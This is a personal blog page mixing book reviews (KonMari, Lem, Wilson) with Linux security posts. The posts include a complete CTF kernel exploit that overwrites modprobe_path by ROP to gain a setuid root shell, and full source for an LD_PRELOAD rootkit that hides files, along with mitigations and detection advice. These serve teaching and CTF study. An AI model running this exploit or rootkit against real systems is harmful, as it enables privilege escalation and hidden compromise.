koppian adventures

On The Konmari Cleaning Method

2026-01-13T00:00:00+00:00

Introduction

I am probably a minimalist without ever wanting to be one. I prefer to own few things of high quality instead of multiple items of low or mediocre quality. But I have never purposefully engaged with keeping order and was never interested in cleaning or decluttering. My parents always had trouble in convincing me to clean my room.

But i looked into related topics to decluttering such as anti-consumerism and Epicureanism. I was interested in how advertisements overshadow the true desire and plant artificial desires. When i look around me, all these items that I own tell a story of my previous decisions. And when you look around, dear reader, it is the same. Hence, I am mindful in what items i choose to surround me with.

Nevertheless, I never looked into decluttering systems such as Swedish death cleaning or the KonMari system.

So I was delighted to find a copy of the book The Life-Changing Magic of Tidying Up by Marie Kondo in one of those communist bookshelves.

Marie Kondo is a famous decluttering coach who has created her own system. According to the book itself, she was possessed by decluttering as a child. I even suspect that she is not neurotypical. She has made her made her passion to her job. Her approach is slightly esoteric and inspired by Shinto.

Being Japanese, some of her advice does not fit completely my situation.

I read her book in half a week, as it is very easy to read. And now i will present the main points, so I do not have to read it again and you can also save yourself the time.

The KonMari System

The goal of the KonMari system is to be surrounded only by items that spark joy.

For this, there are two necessary steps that have to be done in exactly that order:

Decluttering. Throw away what does not spark joy.
Organizing. All items of the same category should be at the same place.

It is recommended to declutter everything in a short timespan instead of little by little. This way, the tidy home is so overwhelming that you never need to repeat this process again, as it will simply stay decluttered according to Mrs. Kondo.

One should declutter not room by room but according to categories, such as clothing, books, etc. For this, everything of one category should be put on a pile. Then, each object should be held in the hand and it should be felt whether it sparks joy or not. Then, the object should be either kept or you let go of it.

You should not listen to music when doing this, as this will disrupt the conversation between your heart and the objects. After a while, you will develop intuition on what makes you happy, and what items you want to surround you with.

It is important to hold each object in your hands, even photos and books. You cannot decide whether a book makes you happy by just looking at it, without taking it in your hand.

When giving it away, you should thank the objects. As an example, you can say “Thanks for keeping my feet warm and safe during all those hikes we did together” to your hiking boots. Even if you never used an item it probably sparked joy during the shopping. Or if it was a gift that you did not like, you can say “Thanks, for coming into my life”. Only after this, you can give it away. It is always the same cycle: acknowledging the purpose of the object, thanking it, and then letting go.

Another recommendation is to never show your family what you plan to declutter. Otherwise, they will become woeful when they see your old souvenirs from vacations, or your old child toys.

When organizing, it is recommended to also thank the objects.

One life-hack is to roll T-shirts and tops, instead of stacking them. When you stack them, you always wear the top three and do not even see the lower ones. When traveling, I already do this and it is great to be able to access all shirts directly. Mrs. Kondo thinks that the upper clothing presses on the lower clothing, and hence the lower clothing is not happy with the situation.

Conclusion

The big question is, if i used this method to declutter my living situation. Of course not. But I will. Probably. Some day.

I am quite happy with how I am living. Most of the recommendations I already implement. I have given away some board games previously. Not because I do not like them, but because they remind me of my ex-girlfriend and her highly competitive way of playing and trying to put me down.

I only have few of the objects that are mentioned in the book, such as bags, or cosmetic samples. I also do not own that much clothing. Probably, I am not the target group of the book. Well, I did not buy the book to begin with.

Still, I agree with the main part of living an attentive live. Do not get me wrong. I do not care, whether people have lots of stuff or little. But I highly welcome when people are mindful of the objects that they spend their time with.

The Modprobe Path Technique

2025-12-10T00:00:00+00:00

In this post, I want to explore another technique to exploit a buffer overflow in the Linux kernel.

In a previous post i used the functions commit_creds(prepare_kernel_creds(0)) to elevate privileges to root. In this post, I want to demonstrate another way that involves overwriting the symbol modprobe_path in the kernel.

This was swiftly mentioned in my previous post in a section called KPTI Bypass 3: Abuse Modprobe. There, I wrote:

The whole procedure is reminiscent of the fine intricacies of a theater play, albeit with actors that have strange names.

However, as with all complex techniques, they become easy, once you grasp them. The technique is not novel and can be found in multiple CTF writeups.

The Technique

When we are executing (execve()) a file, the kernel checks if there is an appropriate loader for the file. This is done by checking the file signature, i.e., the magic bytes, of the file. If the file signature is unknown and if the file signature is not printable, then the kernel tries to load a kernel module that can handle this file type.

In order to load the appropriate kernel module, the kernel looks at the symbol modprobe_path. In a regular system, this contains the string /sbin/modprobe.

We can check this as follows:

$ cat /proc/sys/kernel/modprobe
/sbin/modprobe

The program /sbin/modprobe is executed to load a kernel module called binfmt-xxxxxxxx, where xxxxxxxx are the first four magic bytes in hex of the executable with the unknown file signature. This kernel module binfmt-xxxxxxxx provides the binary loader for the executable. If this works, then the executable can be executed, and we are done.

An attacker could tamper with the value of the kernel symbol modprobe_path, as it is stored in a writable page and set it to some other program, that we have written ourselves, let us call it payload. Then, if a binary with unknown file signature is executed, the program at modprobe_path, i.e., our payload is executed, when the system is in kernel mode, i.e. with root privileges.

Demonstrating the Technique

In order to demonstrate this technique we are again using the CTF challenge kernel-rop, as in the previous post. Remember, the challenge consists of a vulnerable kernel module called hackme.ko that implements a device /dev/hackme. This device implements a stack overflow vulnerability. It allows us to read and also to overwrite the stack. The system has full protections: SMEP, SMAP, KPTI and FG-KASLR. FG-KASLR is like KASLR, but the addresses of each function are randomized instead of just the kernel base.

In order to execute the technique, we need to (i) know the address of modprobe_path, (ii) know the address of the kpti_trampoline in order to return to the userland, and (iii) have an arbitrary address write primitive.

Getting the Address of `modprobe_path`

We can adjust /etc/init.d/rc5 and /etc/inittab of the challenge to grant us a root shell and be able to see the kernel symbols at /proc/kallssyms. This allows us to read the address of modprobe_path as follows:

/ # cat /proc/kallsyms | grep modprobe
ffffffff803e8d80 t __pfx_free_modprobe_argv
ffffffff803e8d90 t free_modprobe_argv
ffffffff821cb260 D modprobe_path

However, note that these addresses are subject to FG-KASLR and change each time the system is rebooted. We can start the system twice and read all the kernel symbols. This way, we can directly compare that changes resulting from KASLR.

We want to find modprobe_path, and the base address of the kernel _text or startup_64. The following output is trimmed to only show the relevant results.

$ grep -e _text -e modprobe_path kallsyms1.txt 
ffffffffa7200000 T _text
ffffffffa8261820 D modprobe_path
$ grep -e _text -e modprobe_path kallsyms2.txt 
ffffffff83e00000 T _text
ffffffff84e61820 D modprobe_path

Here, we see that the distance from the address of modprobe_path to the kernel base is constant, in particular, it is 0x1061820. Hence, if we know the offset of the kernel base, we can compute the address of modprobe_path. Fortunately, as we have seen in my previous post the kernel base is leaked by reading a specific value from the stack.

So, we can compute the address of modprobe_path as follows:

kernel_base = leak[38] - 0x0a157UL;
modprobe_path = kernel_base + 0x1061820UL;

Getting the Address of the KPTI-Trampoline

Getting the address of the KPTI-Trampoline can be done exactly as in the previous section. We are looking for the symbol swapgs_restore_regs_and_return_to_usermode and then we need to jump to that symbol +22 in order to skip some pop instructions. Again, the symbol is located at a fixed offset from the kernel base.

swapgs_restore_regs_and_return_to_usermode = kernel_base + 0x200f10UL; // the offset from /proc/kallsyms

Arbitrary Address Write Primitive

Next, we are searching for ROP gadgets in the kernel that allow us to write to an arbitrary address.

I encountered the following few.

0xffffffff81007ffc: mov [rcx], rax; xor eax, eax; nop; nop; nop; ret;
0xffffffff810159c8: mov [rax], ecx; pop rbp; ret;
0xffffffff81ba0bb0: mov [rax], edx; ret;

Out of these, I decided to use the first one. The gadget is always located at a fixed offset from the kernel base.

write_mem_rcx_rax = kernel_base + 0x7ffcUL; // mov [rcx], rax; xor eax, eax; nop; nop; nop; ret;

What remains is to write values into rax and rdx.

I encountered the following few gadgets for this.

0xffffffff81004a90: pop rdx; pop rcx; pop rax; pop rbp; ret;
0xffffffff81004a91: pop rcx; pop rax; pop rbp; ret;
0xffffffff81004a92: pop rax; pop rbp; ret;
0xffffffff81004d10: pushfq; pop rax; ret;
0xffffffff81004d11: pop rax; ret;
0xffffffff81004857: pop rcx; pop rbp; ret;

We already used the pop rax; ret in our previous exploit. Hence, we only need pop rcx; pop rbp; ret;. This clobbers the rbp register, but we do not have to care in this case. Again, the position of the gadgets can be computed once the address of the kernel base is known.

pop_rax_ret = kernel_base + 0x4d11UL;
pop_rcx_pop_rbp_ret = kernel_base + 0x4857UL; // pop rcx; pop rbp; ret;

Next, we need to determine which value we are writing into the address of modprobe_path. Remember, that this will contain the name of our fake binary loader that is executed with root permissions when a binary with unknown type is started. We can use /tmp/a for that purpose, as we are able to write this file. Hence, we need to figure out the correct value as integer for that string.

(venv) [user]$ ipython
Python 3.13.7 (main, Aug 14 2025, 00:00:00) [GCC 15.2.1 20250808 (Red Hat 15.2.1-1)]
Type 'copyright', 'credits' or 'license' for more information
IPython 8.31.0 -- An enhanced Interactive Python. Type '?' for help.
In [1]: import binascii
In [2]: a = bytearray(b"/tmp/a");
In [3]: a.reverse()
In [4]: binascii.hexlify(a)
Out[4]: b'612f706d742f'

At first, I wanted to use /tmp/myshell instead of /tmp/a. But this yields 0x6c6c656873796d2f706d742f which is too long and does not fit into the register.

The plan is to pop the value 0x612f706d742f from the stack into rax using the gadget pop rax; ret. Then, we use the gadgetpop rcx; pop rbp; ret; to put the KASLR-adjusted value of modprobe_path in rcx. We write a dummy value into rbp. Lastly, we will be using the gadget mov [rcx], rax; xor eax, eax; nop; nop; nop; ret; to write the value of rax, i.e. /tmp/a, in the address of rcx, i.e. modprobe_path.

The Payload

After we have overwritten modprobe_path with /tmp/a it remains to put something in /tmp/a to elevate our privileges.

As a first attempt, I tried to copy the shell there, change its owner to root, and give it the suid bit.

echo "#!/bin/sh" > /tmp/a
echo "cp /bin/sh /tmp/sh" >> /tmp/a
echo "chown 0:0 /tmp/sh" >> /tmp/a
echo "chmod 4755 /tmp/sh" >> /tmp/a
chmod +x /tmp/a

Running the exploit will give us a suid-shell that belongs to root. However, modern shells have implemented a mechanism that drops the privileges in such a case.

From the man page of bash:

If the shell is started with the effective user (group) id not equal to the real user (group) id, and the -p option is not supplied, no startup files are read, shell functions are not inherited from the environment, the SHELLOPTS, BASHOPTS, CDPATH, and GLOBIGNORE variables, if they appear in the environment, are ignored, and the effective user id is set to the real user id. If the -p option is supplied at invocation, the startup behavior is the same, but the effective user id is not reset.

Hence, we would need to use bash -p. However, we are not running bash at all, but busybox which has implemented a similar mechanism. I have not found a flag to circumvent this protection, though.

Other ways such as adding our user to the sudoers file or overwriting the password of the root user fail as well, as there is no /etc/passwd and no /etc/sudoers in this environment.

I overcame this issue by compiling my own shell shell.c.

#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>

int main()
{
    setuid(geteuid());
    system("/bin/sh");
    return 0;
}

Final Code and Walkthrough

Now is the time where we can put everything together.

Here is the full C code for exploiting the stack buffer overflow to overwrite modprobe_path.

#include <fcntl.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <signal.h>


char *VULN_DRV = "/dev/hackme";

int64_t global_fd = 0;
uint64_t cookie = 0;

// memory locations in the kernel
uint64_t kernel_base;
uint64_t modprobe_path;

// rop gadgets
uint64_t pop_rax_ret; // pop rax; ret
uint64_t pop_rcx_pop_rbp_ret; // pop rcx; pop rbp; ret;
uint64_t write_mem_rcx_rax; // mov [rcx], rax; xor eax, eax; nop; nop; nop; ret;
uint64_t swapgs_restore_regs_and_return_to_usermode; // The KPTI trampoline

// for storing the registers
uint64_t user_cs, user_ss, user_rflags, user_sp;

void open_dev(){
    global_fd = open(VULN_DRV, O_RDWR);
    if (global_fd < 0) {
        printf("[-] failed to open %s\n", VULN_DRV);
        exit(-1);
    } else {
        printf("[+] successfully opened %s\n", VULN_DRV);
    }
}

void save_state(){
    __asm__(
        ".intel_syntax noprefix;"
        "mov user_cs, cs;"
        "mov user_ss, ss;"
        "mov user_sp, rsp;"
        "pushf;"
        "pop user_rflags;"
        ".att_syntax;"
    );
    puts("[*] Saved state");
}

/*
First, we leak the cookie and the base address of the kernel.
This allows us to compute the memory locations of the relevant gadgets
in the section that is affected by ASLR, but not by KASLR.
*/
void leak_cookie() {
    uint8_t sz = 40;
    uint64_t leak[sz];
    printf("[*] trying to leak up to %ld bytes memory\n", sizeof(leak));
    uint64_t data = read(global_fd, leak, sizeof(leak));
    cookie = leak[16];
    printf("[+] leaked cookie: 0x%lx\n", cookie);
    kernel_base = leak[38] - 0x0a157UL;
    printf("[+] leaked kernel_base 0x%lx\n", kernel_base);
    modprobe_path = kernel_base + 0x1061820UL;
    printf("[+] leaked modprobe_path 0x%lx\n", modprobe_path);

    pop_rax_ret = kernel_base + 0x4d11UL;
    write_mem_rcx_rax = kernel_base + 0x7ffcUL; // mov [rcx], rax; xor eax, eax; nop; nop; nop; ret;
    pop_rcx_pop_rbp_ret = kernel_base + 0x4857UL; // pop rcx; pop rbp; ret;
    swapgs_restore_regs_and_return_to_usermode = kernel_base + 0x200f10UL; // the offset from /proc/kallsyms
    printf("[+] leaked swapgs_restore_regs_and_return_to_usermode 0x%lx\n", swapgs_restore_regs_and_return_to_usermode);

}

void land_from_kernel();

void overwrite_mod_path(){
    uint8_t sz = 50;
    uint64_t payload[sz];
    uint64_t cookie_off = 16;

    payload[cookie_off++] = cookie;
    payload[cookie_off++] = (uint64_t) 0;  // RBX
    payload[cookie_off++] = (uint64_t) 0;  // R12
    payload[cookie_off++] = (uint64_t) 0;  // RBP

    // store modprobe_path in rcx
    payload[cookie_off++] = (uint64_t) pop_rcx_pop_rbp_ret; // pop rcx; pop rbp; ret;
    payload[cookie_off++] = (uint64_t) modprobe_path; // -> rcx
    payload[cookie_off++] = (uint64_t) 0; // dummy pop

    // store /tmp/myshell in rax
    payload[cookie_off++] = (uint64_t) pop_rax_ret;
    payload[cookie_off++] = (uint64_t) 0x612f706d742f; // "tmp/a" -> rax

    payload[cookie_off++] = (uint64_t) write_mem_rcx_rax; // mov [rcx], rax; xor eax, eax; nop; nop; nop; ret;

    // return to user space
    payload[cookie_off++] = (uint64_t) swapgs_restore_regs_and_return_to_usermode + 22; // The KPTI trampoline
    payload[cookie_off++] = (uint64_t) 0; // dummy rax
    payload[cookie_off++] = (uint64_t) 0; // dummy rdi

    payload[cookie_off++] = (uint64_t) land_from_kernel;  // where we want to land in user space

    payload[cookie_off++] = (uint64_t) user_cs;
    payload[cookie_off++] = (uint64_t) user_rflags;
    payload[cookie_off++] = (uint64_t) user_sp;
    payload[cookie_off++] = (uint64_t) user_ss;

    write(global_fd, payload, sizeof(payload));
    puts("if you can read this, it did not work.");
}

void land_from_kernel(){
    exit(0);
}

int main(int argc, char **argv){
    open_dev();
    save_state();
    leak_cookie();
    overwrite_mod_path();
    return 0;
}

If we run this code, it looks as follows. First, we check the modprobe_path.

/ $ cat /proc/sys/kernel/modprobe
/sbin/modprobe

Executing the exploit overwrites this variable.

/ $ ./modprobe
[+] successfully opened /dev/hackme
[*] Saved state
[*] trying to leak up to 320 bytes memory
[+] leaked cookie: 0xfa070f1f392aad00
[+] leaked kernel_base 0xffffffff88a00000
[+] leaked modprobe_path 0xffffffff89a61820
[+] leaked swapgs_restore_regs_and_return_to_usermode 0xffffffff88c00f10
/ $ cat /proc/sys/kernel/modprobe
/tmp/a

Next, we create a dummy executable that has no associated binary loader.

echo -ne '\xff\xff\xff\xff' > /tmp/dummy
chmod +x /tmp/dummy

Next, we create the fake modprobe binary that will adjust the privileges on our shell so it is a suid root shell that does not drop privileges.

echo "#!/bin/sh" > /tmp/a
echo "chown 0:0 /shell" >> /tmp/a
echo "chmod 4755 /shell" >> /tmp/a
chmod +x /tmp/a

Checking the privileges of our compiled shell from shell.c we get the following.

/ $ ls -lsha shell 
   808 -rwxr-xr-x    1 0        0         804.3K Sep 30 13:32 shell

When we execute the dummy executable /tmp/dummy the fake modprobe binary /tmp/a is executed.

/ $ /tmp/dummy 
/tmp/dummy: line 1: ����: not found

The fake modprobe binary /tmp/a is instructed to load a kernel module that provides a binary loader for /tmp/dummy. However, it does not provide such a loader and thus the execution of /tmp/dummy fails. As a side effect, /tmp/a has adjusted the privileges of our shell.

/ $ ls -lsha shell 
   808 -rwsr-xr-x    1 0        0         804.3K Sep 30 13:32 shell

What remains is to start it, and enjoy our root shell.

/ $ id
uid=1000 gid=1000 groups=1000
/ $ ./shell 
/ # id
uid=0 gid=1000 groups=1000

Mitigations

After we have seen how the exploit works, a natural next question is how we can prevent it. Since kernel version 4.11 there is a pair of configuration variables in the kernel called CONFIG_STATIC_USERMODEHELPER and CONFIG_STATIC_USERMODEHELPER_PATH (see here).

You can for example enable CONFIG_STATIC_USERMODEHELPER and set CONFIG_STATIC_USERMODEHELPER_PATH to the empty string. In this combination, all usermode helper programs are disabled, i.e., the kernel will not attempt to load additional kernel modules that can load the unknown binary.

So, in theory the described attack is mitigated since kernel version 4.11 (around 2017). However, it takes a long time for such hardening measures to be shipped to the distributions. As an example, I am running a Fedora 42 with a current kernel. But my kernel does not have this measure enabled.

[user]$ cat /etc/fedora-release 
Fedora release 42 (Adams)
[user]$ grep -ri CONFIG_STATIC_USERMODEHELPER /boot/config-6.1*
/boot/config-6.15.10-200.fc42.x86_64:# CONFIG_STATIC_USERMODEHELPER is not set
/boot/config-6.16.4-200.fc42.x86_64:# CONFIG_STATIC_USERMODEHELPER is not set
/boot/config-6.16.7-200.fc42.x86_64:# CONFIG_STATIC_USERMODEHELPER is not set

References

As usual, I did not invent all of this by myself. The ctf writeups by lkmidas and 0x434b, especially the section “Version 3: Probing the mods” were very helpful. Further, regarding the mitigations, I mainly consulted sam4k.

Thoughts On The Astronauts

2025-11-09T00:00:00+00:00

After my last book review, I decided to do another one. This is about The Astronauts by Stanislaw Lem. Again, this is not a summary, but my personal opinion. Nevertheless, it may contain spoilers, so go read the book.

The book was written in 1951 and the main part of the book is set in 2000. It carries that typical Soviet optimism for the future. For me this is always associated with a nostalgia for a future that was never meant to be, even though that is probably unintended by Lem. You can encounter this in old Soviet propaganda, e.g., that even a son of a carpenter and a dairy farmer such as Yuri Gagarin can become the first person to journey into outer space.

There is a journey to Venus in order to analyze an incident that has happened in 1908 – the Tunguska event. I quite liked the description of the various expeditions that are performed: the white sphere, the Kangchenjunga expedition, the dead forest, and of course the proto plasma. No living Venusians are found, but the dead remnants of their civilization are encountered. The behaviour of the actors is very rational, in contrast to modern movies, where the actors put themselves in danger unnecessarily.

Nevertheless, the various expeditions and the encountered anomalies stayed singular and were not really linked, up to the last pages. On the last pages, there is the resolution. The Venusians wanted to conquer the earth. They armed themselves and built a massive armoury. But due to capitalism and them not being able to wield this responsibility, they destroyed themselves.

To me, this end was very underwhelming. It reminded me of The War of the Worlds, where we had these giant aliens that invade the earth and use humans as fertilizers by spraying their blood on the fields. And then they die because of our human bacteria and illnesses. This may have been an interesting thought back then in 1898, when The War of the Worlds was written, but now it is … well … underwhelming.

Thoughts On Prometheus Rising

2025-06-01T00:00:00+00:00

Usually, I do not post book reviews, but recently I read Prometheus Rising by R.A. Wilson and feel that i need to write down some thoughts on it, so I do not have to read the book again in the future, but can still refer to the ideas. This is not a summary of Prometheus Rising, but rather a retelling and an interpretation by me. If you are interested in the book, go buy the book.

First of all, books have always been very influential in shaping my thinking and my view of the world. Books lead me to appreciate engineering as a child (“The way things work” by David Macaulay), study math (Martin Gardner and Ian Stewart), learn coin magic (Bobo), and start meditation (Brad Warner). However, it has been some time that i have read a book that truly changes the way i think about the world. And then i encountered Prometheus Rising by R.A. Wilson.

Background

In my view of the world there is a single objective reality, and all individuals perceive this single reality through their individual sensation-filters. This is similar to Kant’s theory of mind (Verstand), but I do not know enough Kant to be certain. As an example, while the concrete sensations when perceiving the color red can differ between various individuals, there is still an objective color red, defined as some part of the visible spectrum of light (see also the debate around qualia).

After reading Prometheus Rising I am not so sure anymore. This book showed me that individual realities differ far more than i have expected.

Thinker and Prover

According to Wilson, the human brain can be conceptually divided into two parts: the thinker and the prover. The purpose of the thinker is to think of something. The purpose of the prover is then to rationalize this thought to fit in the worldview of the subject.

Whatever the thinker thinks the prover proves.

As an example, a person may think that immigrants are criminal. Then the prover will find evidence for this thought and will discard evidence that does not support this belief (see also confirmation bias).

So how does generation of knowledge by science work? First, it seems that it does not work at all under such a model, but Wilson offers a solution: As science is a collective endeavor, the individual biases are averaged and what emerges is consensus-reality. This neatly explains why individual scientists sometimes hold very irrational beliefs. Alfred Wegener was mocked for his continental drift theory, which is now widely accepted by mainstream geology. Isaac Newton held some beliefs about god that would currently be considered very irrational. In Prometheus Rising it is explained that Einstein rejected the emerging quantum physics (“God does not play dice”). This is an oversimplification and probably a misrepresentation. But still, it does not invalidate the main argument.

Reality Tunnels

This dynamic of Thinker and Prover leads to individuals developing and living in vastly different realities which Wilson calls reality tunnels: The communist, the Jehova’s witness, the catholic, etc. But there is also consensus-reality.

As an example, let us talk about UFOs. There have been many reports about UFO sightings or even alien abductions. To the ufologist, these are real events that have really happened. To the psychologist these events have also happened, but not in an external reality, but as a subjective experience, as part of the collective unconscious. The psychologist’s prover says that a recurring theme of alien abduction are forced medical examinations, often involving reproductive systems. These similarities point to unsolved thoughts revolving around sexual shame. Further, alien abductions often involve the same or at least very similar steps. This is further proof for the subjective experience of alien abductions. To the rationalist, UFOs and alien abductions are a symptom of mental illness such as schizophrenia.

In consensus-reality UFOs and alien abductions do not exist. If governments would release evidence for the existence of UFOs and aliens, this would destabilize the reign of religion. This is similar to the Copernican Revolution, i.e., the paradigm shift from a reality with the earth in the middle of the solar system to a heliocentric system, in which the planets revolve around the sun at their center. Here also, the influence of religion was endangered and society was destabilized.

What the thinker thinks, the prover proves.

Consensus-reality needs to be enforced in order to protect the stability of the society. This is also the cause of the taboo against homosexuality or children born outside marriage.

Architects

If we compare our consensus-reality to the apparently more extreme realities of the ufologist or of someone in the cult of Jim Jones, then we have to admit that our reality tunnels are not anymore plausible.

We are bigger architects than we think.

Each of us is constantly constructing our own reality. Everything that we think/live/experience has been constructed by us. We think our reality and we prove our reality.

And this is one of the parts, where Prometheus Rising has opened my eyes. Previously I thought that there is sensory perception untainted by thought and hence by the individual reality tunnel. The Buddha was sitting under the Bodhi tree until all his imprints fell away, and at that moment, he became enlightened. At that moment, he disembarked his reality tunnel and saw thoughts as thoughts. In my understanding after reading Prometheus Rising, even the perception is tainted by the individual reality tunnel. If you are poor, you will not perceive shrimp canapes or other luxurious food. If you are living in a large city, you will not perceive nature, as you will simply not encounter it that much. And you will rationalize that reality to yourself. If you are reading this, look around you. What decisions did you make that lead to this reality that you are now perceiving?

Changing Reality Tunnels

A part of Prometheus Rising is about changing reality tunnels. Wilson calls it metaprogramming, but i would rather prefer the term “testing the limits of reality”. In the book the example of Patty Hearst is given, which was the daughter of a publishing magnate. She was living in her capitalist reality tunnel, where people are driving too large cars and smoking too big cigars. Then she was kidnapped by the militant left Symbionese Liberation Army and subsequently entered their reality tunnel. She even participated in a bank robbery.

Similar to Patty, we can also change our reality tunnels, though we could start less drastically. We could try to adopt the belief “every day is just a little bit better than the last” or “everybody likes me”. We are constantly constructing our own reality. I am not sure if we are in the territory of pseudoscience here. Wilson does not say exactly that it works, but rather that we should try for ourselves what happens.

Conclusion

I guess this time there is no conclusion. I do not really know how to end this blog post. I have left you with some half-baked ideas, but that is how i experienced that book. Usually I am the one choosing a book and asking questions and expecting answers and knowledge. This time, as with all good books, it was the other way around. The book left me with a lot of questions.

What distinguishes me and my processes of insight from, say a disciple of Jim Jones? These people could have been considered normal, before slowly abandoning consensus reality.

Which Copernican Revolution is the next one? I.e., which parts of knowledge that are currently widespread and influential will turn out to be wrong 500 years from now on?

And finally, since there are no Bodhi trees here in Blue Rock city where i live, where would the Buddha sit, if he was in my reality tunnel?

An Ld_preload Toy Rootkit

2025-04-13T00:00:00+00:00

If you are not interested in malware development for Linux and have not read some of my previous blog posts, this blog post may be too technical for you. You could rather start here

In this blog post, I want to present a toy LD_PRELOAD rootkit. It works by hijacking the dynamic linker and thus hiding itself from the system. Later, we will talk about how to detect it.

Preliminaries

Usually, when an ELF file is executed, first the dynamic linker resolves the functions imported from other libraries. When a function such as open() is encountered by the linker and not defined in the binary itself, the linker searches for it in various places. The order of these places is documented in the man page of ld.so and is not that important in this exposition.

When the first instance of the function is encountered, it is used. The dynamic linker does not search further. In particular, if the function exists at multiple places, the first instance is used.

The idea of an LD_PRELOAD rootkit is that a malicious library – the rootkit – is placed before the legitimate libraries in the search order of the dynamic linker. This can be achieved, e.g., by exporting the full path of the rootkit with the command export LD_PRELOAD=<full path to rootkit>, or by tampering with /etc/ld.so.conf.

Then, legitimate function calls are hijacked by the rootkit. The rootkit can use these to hide its presence. Let me show you an example.

[user toykit]$ ls
README.md  toykit.c  toykit.so
[user toykit]$ gcc toykit.c -o toykit.so -fPIC -shared -ldl -D_GNU_SOURCE
[user toykit]$ export LD_PRELOAD=$(pwd)/toykit.so
[user toykit]$ ls
README.md
[user toykit]$ 
[user toykit]$ less toykit.c 
toykit.c: No such file or directory
[user toykit]$ cat toykit.c 
cat: toykit.c: No such file or directory

Here, the rootkit called toykit still exists in the directory, but cannot be seen. Toykit hooks various functions in glibc that are invoked by ls, less and cat. Internally, it executes the original functions, looks if its own name is in the output, and when that is the case it removes its own name and returns the cleaned output.

In our implementation, the files can still be seen by the shell completion, though that is only the case, because i apparently forgot to hook some more functions.

When executing ls with more debugging output, we can see the search order of the dynamic linker and that our rootkit is placed first. In the output below, the dynamic linker searches for the symbol _res, which is not implemented in toykit and hence the search continues at the other locations.

[user toykit]$ LD_DEBUG=symbols ls 2>&1 | head
symbol=__vdso_clock_gettime;  lookup in file=linux-vdso.so.1 [0]
symbol=__vdso_gettimeofday;  lookup in file=linux-vdso.so.1 [0]
symbol=__vdso_time;  lookup in file=linux-vdso.so.1 [0]
symbol=__vdso_getcpu;  lookup in file=linux-vdso.so.1 [0]
symbol=__vdso_clock_getres;  lookup in file=linux-vdso.so.1 [0]
symbol=_res;  lookup in file=ls [0]
symbol=_res;  lookup in file=/home/user/toykit/toykit.so [0]  <--- My rootkit is first in the library search order
symbol=_res;  lookup in file=/lib64/libselinux.so.1 [0]
symbol=_res;  lookup in file=/lib64/libcap.so.2 [0]
symbol=_res;  lookup in file=/lib64/libc.so.6 [0]

Source Code

Here is the commented source code of toykit. In a real rootkits, we could also have some malicious functionality, such as hiding of network sockets, malicious users, etc.

// gcc toykit.c -o toykit.so -fPIC -shared -ldl -D_GNU_SOURCE (-DDebug)

#include <stdio.h>
#include <dlfcn.h>
#include <string.h>
#include <dirent.h>
#include <stdlib.h>
#include <errno.h>
#include <sys/stat.h>

 
#define HIDE_MAGIC "toykit"

// First and foremost, we remove the LD_PRELOAD to hide the presence
// of toykit. This removes it from env, but not from
// /proc/self/environ
static __attribute__((constructor)) void begin() {
    unsetenv("LD_PRELOAD");
}

// We hook readdir and remove files that start with HIDE_MAGIC
struct dirent *readdir(DIR *dirp) {
    struct dirent *(*orig_readdir)(DIR *dirp);
    orig_readdir = dlsym(RTLD_NEXT, "readdir");
    #ifdef DEBUG
    puts("readdir hooked");
    #endif

    struct dirent *dir;
    while ((dir = orig_readdir(dirp)) != NULL) {
        if(strstr(dir->d_name,HIDE_MAGIC) == 0) break;
    }
    return dir;
}

// We hook open and hide files that start with HIDE_MAGIC
int open(const char *pathname, int flags, mode_t mode) {
    int (*orig_open)(const char *pathname, int flags, mode_t mode);
    orig_open = dlsym(RTLD_NEXT, "open");
    #ifdef DEBUG
    printf("open hooked %s.\n", pathname);
    #endif

    if(strstr(pathname,HIDE_MAGIC) != NULL) {
      errno = ENOENT;
      return -1;
    }
    return orig_open(pathname, flags, mode);
}

int open64(const char *pathname, int flags, mode_t mode) {
    int (*orig_open64)(const char *pathname, int flags, mode_t mode);
    orig_open64 = dlsym(RTLD_NEXT, "open64");
    #ifdef DEBUG
    printf("open64 hooked %s.\n", pathname);
    #endif

    if(strstr(pathname,HIDE_MAGIC) != NULL) {
      errno = ENOENT;
      return -1;
    }
    return orig_open64(pathname, flags, mode);
}

// We hook stat and hide files that start with HIDE_MAGIC
// This is e.g., used by less
int stat(const char *pathname, struct stat *statbuf) {
    int (*orig_stat)(const char *pathname, struct stat *statbuf);
    orig_stat = dlsym(RTLD_NEXT, "stat");
    #ifdef DEBUG
    printf("stat hooked %s.\n", pathname);
    #endif

    if(strstr(pathname,HIDE_MAGIC) != NULL) {
      errno = ENOENT;
      return -1;
    }
    return orig_stat(pathname, statbuf);
}

int stat64(const char *pathname, struct stat64 *statbuf) {
    int (*orig_stat64)(const char *pathname, struct stat64 *statbuf);
    orig_stat64 = dlsym(RTLD_NEXT, "stat64");
    #ifdef DEBUG
    printf("stat64 hooked %s.\n", pathname);
    #endif

    if(strstr(pathname,HIDE_MAGIC) != NULL) {
      errno = ENOENT;
      return -1;
    }
    return orig_stat64(pathname, statbuf);
}

Detection

Detecting this approach is fairly simple, but let us first discuss approaches that will not work.

As shown above, we could check the library search path order of the dynamic linker for changes, e.g., suspicious entries in /etc/ld.so.config). This works in our toy rootkit, however, when the rootkit is even better, these investigations may not yield results, as they will use the hooked functions themselves. As an example, in the toy rootkit we removed the variable LD_PRELOAD that indicates presence of the rootkit. We could have taken this even further.

What will work is comparing the content of the disk (obtained using dd) with the file system itself. If there are files on the disk that are not shown in the file system, then maybe an LD_PRELOAD rootkit is hiding them. Note, that this comparison should not be done on the infected machine itself.

A second approach is using statically linked binaries. When executing a statically linked binary, there is no dynamic loader that can be hooked. The most common approach is probably using busybox. Hence, shell commands from within busybox cannot be hijacked by the rootkit and hence can be used for such a forensic analysis.

Introduction To Linux Kernel Exploitation

2024-12-17T00:00:00+00:00

Prelude

This blog post documents my forays into Linux kernel exploitation. The basis for this introduction is a challenge from the hxp2020 CTF called kernel-rop. If you want to follow along, you can either download it from the CTF page or from a local mirror.

There are already a lot of solutions to this challenge on the internet. If you came to my blog by looking for such a solution, you may be disappointed. This article is rather about Linux kernel exploitation in general and uses the challenge only as an example. The reason why I chose especially that challenge is that it seemed to be a good entrance to kernel exploitation.

At the end of this article you will know how common security mitigations in the kernel work and how to circumvent them. We are using qemu as emulator for the kernel and are writing an exploit for a custom kernel module. This setup is pretty common and the bug is easy to spot.

I used drafts of this blog post (and exercises derived thereof) to teach a workshop about linux kernel exploitation at my current company. I want to thank my colleagues for their valuable feedback which resulted in me rewriting some parts of this blog post, and also in enough pressure, to finally finish this post.

